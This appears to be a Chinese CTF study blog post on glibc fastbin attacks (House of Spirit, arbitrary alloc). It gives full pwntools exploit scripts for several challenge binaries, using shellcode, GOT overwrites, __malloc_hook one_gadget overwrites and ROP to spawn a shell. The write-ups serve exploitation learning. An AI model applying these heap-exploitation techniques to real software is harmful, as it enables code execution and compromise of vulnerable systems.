Fastbin double free
House Of Spirit
简介
House of Spirit 是 the Malloc Maleficarum
中的一种技术。该技术的核心是在目标处伪造fastbin chunk,将其释放,从而分配至指定地址的内存
要想构造fastbin fake chunk 并将其释放,可以将其放入到对应的fastbin链表中,需要绕过一些必要的检测,即
fake chunk的ISMMAP为不能为1,因为free是,如果是mmap的chunk,会单独处理。
fake chunk 地址需要对齐,MALLOC_ALIGN_MASK
fake chunk 的size大小需要满足对应的fastbin的需求,也需要对齐。
fake chunk 的next chunk 的大小不能小于2*SIZE_SZ
,同时也不能大于av->system_mem
fake chunk对应的fastbin链表头部不因该是fake chunk,即不能构成double free
有个演示(但我没看,看不懂)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <stdlib.h> int main () { fprintf (stderr , "This file demonstrates the house of spirit attack.\n" ); fprintf (stderr , "Calling malloc() once so that it sets up its memory.\n" ); malloc (1 ); fprintf (stderr , "We will now overwrite a pointer to point to a fake 'fastbin' region.\n" ); unsigned long long *a; unsigned long long fake_chunks[10 ] __attribute__ ((aligned (16 ))); fprintf (stderr , "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n" , sizeof (fake_chunks), &fake_chunks[1 ], &fake_chunks[7 ]); fprintf (stderr , "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n" ); fprintf (stderr , "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n" ); fake_chunks[1 ] = 0x40 ; fprintf (stderr , "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n" ); fake_chunks[9 ] = 0x1234 ; fprintf (stderr , "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n" , &fake_chunks[1 ]); fprintf (stderr , "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n" ); a = &fake_chunks[2 ]; fprintf (stderr , "Freeing the overwritten pointer.\n" ); free (a); fprintf (stderr , "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n" , &fake_chunks[1 ], &fake_chunks[2 ]); fprintf (stderr , "malloc(0x30): %p\n" , malloc (0x30 )); }
例题:
lctf2016_pwn200
他有两个漏洞点
一个off by null可以泄漏ebp(栈地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 sub_400A8E () { __int64 i; char name[48 ]; puts ("who are u?" ); for ( i = 0LL ; i <= 47 ; ++i ) { read(0 , &name[i], 1uLL ); if ( name[i] == '\n' ) { name[i] = 0 ; break ; } } printf ("%s, welcome to ISCC~ \n" , name); puts ("give me your id ~~?" ); (get_num)(); return sub_400A29(); }
一个8字节溢出(可以覆盖点堆指针)
1 2 3 4 5 6 7 8 9 10 11 12 __int64 sub_400A29 () { char buf[56 ]; char *dest; dest = malloc (0x40 uLL); puts ("give me money~" ); read(0 , buf, 0x40 uLL); strcpy (dest, buf); ptr = dest; return mue(); }
原理就是:
栈上1区和二区我们都可以控制,就把1,2区一起,伪造一下,假装他是一个chunk,释放指针,该chunk就会被收到fastbin中,再次申请,我们就可以控制这一小段栈区,在中间部分(ret_addr)写入我们想写的数据了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from LibcSearcher import *context(log_level ='debug' , arch = 'amd64' ,os ='linux' ) io = process('./pwn200' ) def debug (): gdb.attach(io) shellcode="" shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e" shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f" shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05" payload = shellcode.ljust(0x30 -2 ,'a' ) + 'b' *2 io.sendafter("who are u?" ,payload) io.recvuntil("bb" ) ebp = u64(io.recv(6 ).ljust(8 ,'\x00' )) print "ebp=========>" + hex (ebp)fake_chunk_addr = ebp - 0xa0 io.recvuntil('id' ) io.send('32' +'\n' ) payload = p64(0 )*4 +p64(0 )+p64(0x41 ) payload = payload.ljust(0x38 ,'\x00' )+p64(fake_chunk_addr+0x10 ) io.sendafter("money~" ,payload) io.sendlineafter("your choice :" ,"2" ) shell_addr = ebp+0x50 -0xa0 io.sendlineafter("your choice :" ,"1" ) io.sendlineafter("how long?" ,"48" ) io.send('a' *0x18 + p64(shell_addr)) io.sendlineafter("your choice :" ,"3" ) io.interactive()
思想好理解,这里说一下,一些细节,需要注意的。
我们覆盖chunk地址时,应该填addr of mem,不是addr of header,他自己会根据偏移寻址
写的的时候注意,’\n’不要随意写,小心把ebp chain给破坏了。
还有,大部分给你的信息都是有用的,我就因为忽略了(get_id)一直想不明白nextsize怎么写进去的时候.调了好久
1 2 puts ("give me your id ~~?" );(get_num)();
Alloc to Stack
和house of spirit差不多,这是控制fd指针,使分配栈上空间。
Arbitrary alloc
简介
Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。
一般是我们想要控制的__malloc_hook的地址,但是我们需要向上寻址,看是否可以错位处一个合法的size俞。如果程序是64位的,那么fastbin的范围是从32字节到128字节
1 2 3 4 5 6 7 8 Fastbins[idx=0 , size=0x10 ] Fastbins[idx=1 , size=0x20 ] Fastbins[idx=2 , size=0x30 ] Fastbins[idx=3 , size=0x40 ] Fastbins[idx=4 , size=0x50 ] Fastbins[idx=5 , size=0x60 ] Fastbins[idx=6 , size=0x70 ]
通过观察寻址,可以现实错位构造出一个 0x000000000000007f
因为 0x7f 在计算 fastbin index 时,是属于 index 5 的,即 chunk 大小为 0x70 的。
1 2 ##define fastbin_index(sz) \ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
而其大小又包含了 0x10 的 chunk_header,因此我们选择分配 0x60 的 fastbin,将其加入链表。 最后经过两次分配可以观察到 chunk 被分配到 malloc_hook周围,因此我们就可以直接控制 __malloc_hook 的内容 (在我的 libc 中__realloc_hook 与__malloc_hook 是在连在一起的)。
小总结
Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。
oreo[https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2014_hack.lu_oreo]
也是一house of spirit
同样的原理,利用前后布局将堆申请到bss段上
这个题,倒是有让我又对指针的学习又多了一点点感悟。在bss段上的那个notice指针上呆了一会。
需要记住:指针嘛,指向的永远是地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import *from LibcSearcher import *context(log_level ='debug' , arch = 'amd64' ,os ='linux' ) io = process('./oreo' ) elf = ELF('./oreo' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) def debug (): gdb.attach(io) def add (descrip,name ): io.sendline('1' ) io.sendline(name) io.sendline(descrip) def show_rifle (): io.sendline('2' ) io.recvuntil('===================================\n' ) def order (): io.sendline('3' ) def message (notice ): io.sendline('4' ) io.sendline(notice) def exp (): print "step 1: leak the libc base" name = 27 * 'a' + p32(elf.got['puts' ]) add(25 *'a' ,name) show_rifle() io.recvuntil('===================================\n' ) io.recvuntil("Description: " ) puts_add = u32(io.recv(4 )) print "puts_add==========>" +hex (puts_add) libcbase = puts_add - libc.sym['puts' ] system = libcbase + libc.sym['system' ] sh = libcbase + next (libc.search('/bin/sh' )) print "libcbase==========>" + hex (libcbase) print "leak the address done" print "step2.free fake chunk at 0x804a2a8" oifle = 1 while oifle < 0x3f : add(25 *'a' ,'a' *27 +p32(0 )) oifle+=1 payload = 'a' *27 +p32(0x804a2a8 ) add(25 *'a' ,payload) payload = 0x20 *'\x00' +p32(0x40 )+p32(0x100 ) payload =payload.ljust(52 ,'b' ) payload+=p32(0 ) payload = payload.ljust(128 ,'c' ) message(payload) order() print "========>" +hex (elf.got['strlen' ]) payload = p32(elf.got['strlen' ]).ljust(20 ,'a' ) add(payload,'b' *20 ) message(p32(system)+';/bin/sh\x00' ) io.interactive() exp()
其它倒是没什么了。比较老的一道题。
search engine
这道题,我第一眼看到就不想做,初期逆向分析的步骤太费脑子了.这个题真正的的难点也就是在这里,理解了这个,这个题也就没什么难的了。
input_number有个漏洞
我们可以看到,它是递归的,可以泄漏出stack地址,哪怕第一次输入没有把栈信息带出来,后面总是可以的。
然后是search里有UAF
index
它就是要求输入一段话,其中每段话是以空格区分形似“I am a pwner”这样一句话。其储存形式为
sentence储存在一个chunk,然后他会为每一个word申请一个chunk,结构为
1 2 3 4 5 6 7 8 9 10 11 12 0x24fb090 : 0x0000000000000000 0x0000000000000031 0x24fb0a0 : 0x00000000024fb070 0x000000000000000c 0x24fb0b0 : 0x00000000024fb070 0x0000000000000028 0x24fb0c0 : 0x00000000024fb040 0x0000000000000031 struct Word { char *word_ptr; int word_len; char *sentence; int sentence_size; struct Word *next ; };
search方法通过遍历node(由后向前)可以搜索sentence里的word(会生成一个临时chunk,结束以后将free掉),然打印整个sentence,然后询问你是否删除,删除将free掉sentence,并将buf里的内容全置为0,但不置为sentence指针不为0,存在UAF。free不会影响node。
且,在search里,因为UAF,即使buf已全置为0,只要最低字节不为NULL(需要注意,方法二中将用上),依然可以再匹配(‘\x00’匹配)可以把指针打印出来。同时也一意味着我们可以实现double free
有两个方法
el4师傅推荐的holk的讲解,蛮清楚的这里
方法一:更改malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from pwn import *from LibcSearcher import *context(log_level ='debug' , arch = 'amd64' ,os ='linux' ) io = process('./search' ) libc = ELF('./libc-2.23_x64.so' ) def debug (): gdb.attach(io) def add (size,content ): io.sendlineafter("Quit" ,"2" ) io.sendlineafter("size:" ,str (size)) io.sendlineafter("sentence:" ,content) def search (size,content,yes=True ): io.sendlineafter("Quit" ,"1" ) io.sendlineafter("size:" ,str (size)) io.sendlineafter("word:" ,content) if yes==True : io.sendlineafter("(y/n)?" ,"y" ) else : io.sendlineafter("(y/n)?" ,"n" ) def search00 (): io.sendlineafter("Quit" ,"1" ) io.sendlineafter("size:" ,"1" ) io.sendlineafter("word:" ,"\x00" ) def leak_libc (): smallbin_sentence = 's' *0x85 +' m' add(len (smallbin_sentence),smallbin_sentence) search(1 ,'m' ,True ) search00() leak_libc() io.recvuntil("Found 135: " ) libc = u64(io.recv(6 ).ljust(8 ,'\x00' )) print "libc====>" +hex (libc)io.sendlineafter("(y/n)?" ,"no" ) smallbin_sentence = 's' *0x85 +' m' add(len (smallbin_sentence),smallbin_sentence) sentenceA = 'a' *0x5d + ' d' sentenceB = 'b' *0x5d + ' d' sentenceC = 'c' *0x5d + ' d' add(len (sentenceA),sentenceA) add(len (sentenceB),sentenceB) add(len (sentenceC),sentenceC) search(1 ,'d' ,True ) io.sendlineafter("(y/n)?" ,"y" ) io.sendlineafter("(y/n)?" ,"y" ) search00() io.sendlineafter("(y/n)?" ,"y" ) io.sendlineafter("(y/n)?" ,"y" ) offset_to_malloc = 0x8b offset_to_libcbase =0x3c4b78 fakechunk = libc+offset_to_malloc-0xf3 -0x23 libcbase = libc - offset_to_libcbase print "libcbase=====>" +hex (libcbase)print "fakechunk=====>" +hex (fakechunk)one = [0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] ONE = one[3 ]+libcbase payload = p64(fakechunk) payload = payload.ljust(0x60 ,'\x00' ) add(len (payload),payload) add(len (sentenceA),sentenceA) add(len (sentenceA),sentenceA) sh = 'a' *0x13 +p64(ONE) sh = sh.ljust(0x60 ,'a' ) add(len (sh),sh) io.interactive()
评价:方法比较常规,也相较简单
方法二:更改stack返回地址
方法原文:https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/
利用input_number泄漏栈地址
申请伪造的node,与之前被释放buf重合,在search的时候可以将libc地址泄露出来,然后构造double free利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 from pwn import *from LibcSearcher import *context(log_level ='debug' , arch = 'amd64' ,os ='linux' ) io = process('./search' ) elf = ELF('./search' ) libc = ELF('./libc-2.23_x64.so' ) def debug (): gdb.attach(io) pop_rdi_ret = 0x0000000000400e23 libc_offset = 0x84540 puts_offset = 0x6f6a0 system_offset = 0x453a0 bin_sh_offset = 0x18ce57 def index_sentence (s ): io.sendline('2' ) io.sendlineafter("size:" ,str (len (s))) io.sendlineafter("sentence:" ,s) def search (s ): io.sendline('1' ) io.sendlineafter("size:" ,str (len (s))) io.sendlineafter("word:" ,s) def search00 (): io.sendline("1" ) io.sendlineafter("size:" ,"1" ) io.sendlineafter("word:" ,"\x00" ) def leak_stack (): io.sendline('A' *48 ) io.recvuntil('Quit\n' ) io.recvline() io.sendline('A' *48 ) leak = io.recvline().split(' ' )[0 ][48 :] return int (leak[::-1 ].encode('hex' ), 16 ) def leak_libc (): index_sentence(('a' *12 +' b ' ).ljust(0x28 ,'c' )) search('a' *12 ) io.sendline('y' ) index_sentence('d' *0x40 ) search('\x00' ) io.sendline('y' ) node = '' node+=p64(0x400ed0 ) node+=p64(5 ) node+=p64(elf.got['free' ]) node+=p64(64 ) node+=p64(0x000000 ) assert len (node)==40 index_sentence(node) io.clean() search('Enter' ) io.recvuntil('Found 64: ' ) leak = u64(io.recvline()[:8 ]) io.sendline('n' ) return leak def make_cycle (): index_sentence('a' *54 +" d" ) index_sentence('b' *54 +" d" ) index_sentence('c' *54 +" d" ) search('d' ) io.sendline('y' ) io.sendline('y' ) io.sendline('y' ) search('\x00' ) io.sendline('y' ) io.sendline('n' ) def make_fake_chunk (addr ): fake_chunk = p64(addr) index_sentence(fake_chunk.ljust(0x38 )) def allocate_fake_chunk (bin_sh,system ): index_sentence('A' *0x38 ) index_sentence('B' *0x38 ) /* pwndbg> stack 50 00 :0000 │ rsp 0x7fff589090b8 —▸ 0x7fa711ee05f8 (_IO_file_underflow+328 ) ◂— cmp rax, 0 01:0008│ 0x7fff589090c0 ◂— 0x1 02:00 10│ 0x7fff589090c8 —▸ 0x7fa71222a8e0 (_IO_2_1_stdin_) ◂— 0xfbad2088 03:0018│ 0x7fff589090d0 ◂— 0x0 04:0020│ 0x7fff589090d8 —▸ 0x7fa711edf068 (__GI__IO_file_xsgetn+408 ) ◂— cmp eax, -1 05:0028│ 0x7fff589090e0 —▸ 0x7fa71222a8e0 (_IO_2_1_stdin_) ◂— 0xfbad2088 06:0030│ 0x7fff589090e8 ◂— 0x1 ... ↓ 3 skipped0a:0050│ 0x7fff58909108 —▸ 0x7fa711ed4246 (fread+150 ) ◂— test dword ptr [rbx], 0x8000 0b:0058│ 0x7fff58909110 ◂— 0x0 0c:0060│ 0x7fff58909118 ◂— 0x0 0d:0068│ 0x7fff58909120 —▸ 0x7fff58909180 —▸ 0x7fff5890920a ◂— 0x40 /* '@' */ 0e:0070│ 0x7fff58909128 ◂— 0x30 /* '0' */ 0f:0078│ 0x7fff58909130 —▸ 0x7fff58909180 —▸ 0x7fff5890920a ◂— 0x40 /* '@' */ 10 :0080│ 0x7fff58909138 —▸ 0x4009f6 ◂— test eax, eax11 :0088│ 0x7fff58909140 —▸ 0x7fff58909180 —▸ 0x7fff5890920a ◂— 0x40 /* '@' */12 :0090│ 0x7fff58909148 —▸ 0x400dc0 ◂— push r1513 :0098│ 0x7fff58909150 —▸ 0x400897 ◂— xor ebp, ebp14 :00a0│ 0x7fff58909158 —▸ 0x7fff589092c0 ◂— 0x1 15 :00a8│ 0x7fff58909160 ◂— 0x0 16 :00b0│ 0x7fff58909168 —▸ 0x400a6c ◂— lea rsi, [rsp + 8 ]17 :00b8│ 0x7fff58909170 ◂— 0xa /* '\n' */18 :00c0│ 0x7fff58909178 —▸ 0x400f36 ◂— xor edi, dword ptr [rdx] /* '3: Quit' */19 :00c8│ r9 r14 0x7fff58909180 —▸ 0x7fff5890920a ◂— 0x40 /* '@' */1a:00d0│ 0x7fff58909188 —▸ 0x7fa711ee082b (_IO_file_overflow+235 ) ◂— cmp eax, -1 1b:00d8│ 0x7fff58909190 ◂— 0x7 1c:00e0 │ 0x7fff58909198 —▸ 0x7fa71222b620 (_IO_2_1_stdout_) ◂— 0xfbad2887 1d:00e8 │ 0x7fff589091a0 —▸ 0x400f36 ◂— xor edi, dword ptr [rdx] /* '3: Quit' */ 1e:00f0│ 0x7fff589091a8 —▸ 0x7fa711ed580a (puts+362 ) ◂— cmp eax, -1 1f:00f8│ 0x7fff589091b0 ◂— 0x0 20 :0 100│ 0x7fff589091b8 ◂— 0x745c7ca151bf7700 21 :0 108│ 0x7fff589091c0 ◂— 0x0 22 :0110│ 0x7fff589091c8 —▸ 0x400d7e ◂— cmp eax, 1 《=====ret_addr23 :0118│ 0x7fff589091d0 —▸ 0x400dc0 ◂— push r1524 :0120│ 0x7fff589091d8 —▸ 0x400890 ◂— xor eax, eax25 :0128│ 0x7fff589091e0 ◂— 0x0 */ buf = 'A' *30 buf += p64(pop_rdi_ret) buf += p64(bin_sh) buf += p64(system) buf = buf.ljust(0x38 ,'\x00' ) index_sentence(buf) def main (): index_sentence("aaaaaa" ) stack_leak = leak_stack() stack_addr = stack_leak + 0x22 -8 log.info('stack leak==========> %s' % hex (stack_leak)) log.info('stack addr==========> %s' % hex (stack_addr)) libc_leak = leak_libc() libc_base = libc_leak - libc_offset system = libc_base + system_offset bin_sh = libc_base + bin_sh_offset log.info('libc leak===========> %s ' % hex (libc_leak)) log.info('libc_base===========> %s ' % hex (libc_base)) log.info('system addr=========> %s ' % hex (system)) log.info('bin_sh addr=========> %s ' % hex (bin_sh)) make_cycle() make_fake_chunk(stack_addr) allocate_fake_chunk(bin_sh,system) io.interactive() if __name__=='__main__' : main() io.interactive()
0ctf_2017_babyheap
这个题再我最初学堆的时候就做过一次(其实应该算作抄过一次),这次是为总结又做一次
程序主体
这里get_mmap将控制对信息的node结构并没有放在堆区,而是放在一个新开辟的一个较随机的区域,也就是说如果我们想打他的node,还得额外想办法泄漏,得到这一区域的地址(这题里几乎不可能)
node
1 2 3 4 5 6 stuct node { int flag int size int ptr }
fill里就有一个溢出(这个题里面就足够了)
提一下,dele里面有个东西不一样,和其它功能
他在检验正负数的时候,和之前的都不一样。如果字长一样,那么就可以当正常的价差使用,但是,如果不一样(tmp为16字节时),负数一样通过检查。
小测试
满足第32位为0,就可以任意数绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> #include <stdlib.h> int main () { long long num = -74450133487452161 ; if ((num & 0x80000000 ) == 0 ) { puts ("TURE" ); } else { puts ("false" ); } return 0 ; }
说回来,这个题里只有一个堆溢出。因为没有uaf,不能直接泄漏指针。
但是,可以通过溢出,修改被free堆块的fd,使最终两个bin能指向同一个chunk,最终实现泄漏.
具体实现中需要需修改size
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 # coding=utf-8 from pwn import * from LibcSearcher import * context(log_level ='debug', arch = 'amd64',os ='linux') io = process('./0ctf_2017_babyheap') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('./libc-2.23_x64.so') # io = remote('node3.buuoj.cn',26987) def debug(): # raw_input() gdb.attach(io) # sla = lambda re,se:io.sendlineafter(re,se) # sa = lambda re,se:io.sendafter(re,se) # ru = lambda re :io.recvuntil(re) # u64 = lambda :io.recvuntil('\x7f')[-6:].ljust(8,'\x00') # u32 = lambda :io.recvuntil() def debug(): # raw_input() gdb.attach(io) def add(size): io.sendlineafter("Command:","1") io.sendlineafter("Size: ",str(size)) def edit(index,size,content): io.sendlineafter("Command:","2") io.sendlineafter("Index: ",str(index)) io.sendlineafter("Size: ",str(size)) io.sendafter("Content: ",content) def show(index): io.sendlineafter("Command:","4") io.sendlineafter("Index: ",str(index)) def free(index): io.sendlineafter("Command:","3") io.sendlineafter("Index: ",str(index)) #0~15 add(0x10)#0 add(0x10)#1 add(0x10)#2 add(0x10)#3 add(0x80)#4 add(0x10)#5 free(2) free(1) #It is aligned at 4kb,so the first chunk`addr must bigan with 0x000 edit(0,0x21,'a'*0x10+p64(0)+p64(0x21)+p8(0x80)) # show(2) edit(3,0x20,'a'*0x10+p64(0)+p64(0x21)) add(0x10)#1 add(0x10)#2 overlap on the chunk4 edit(3,0x20,'a'*0x10+p64(0)+p64(0x91))#change back free(4) # the chunk will be add to fastbin show(2) io.recvuntil("Content: \n") libc_addr = u64(io.recv(6).ljust(8,'\x00')) print "libc_addr===========>"+hex(libc_addr) offset_to_libcbase = 0x3c4b78 libcbase = libc_addr - offset_to_libcbase #cuting from 0x80 add(0x60)#4 free(4) malloc_hook = libcbase+libc.sym['__malloc_hook'] target = malloc_hook - 0x23 print "malloc_hook========>"+hex(malloc_hook) print "target========>"+hex(target) edit(3,0x28,'a'*0x10+p64(0)+p64(0x71)+p64(target))#change back add(0x60) add(0x60)#got it one = [0x45226,0x4527a,0xf03a4,0xf1247] # libc ONE = one[1]+libcbase payload = 'a'*0x13+p64(ONE) payload = payload.ljust(0x30,'\x00') edit(6,0x30,payload) add(0x10) # debug() io.interactive()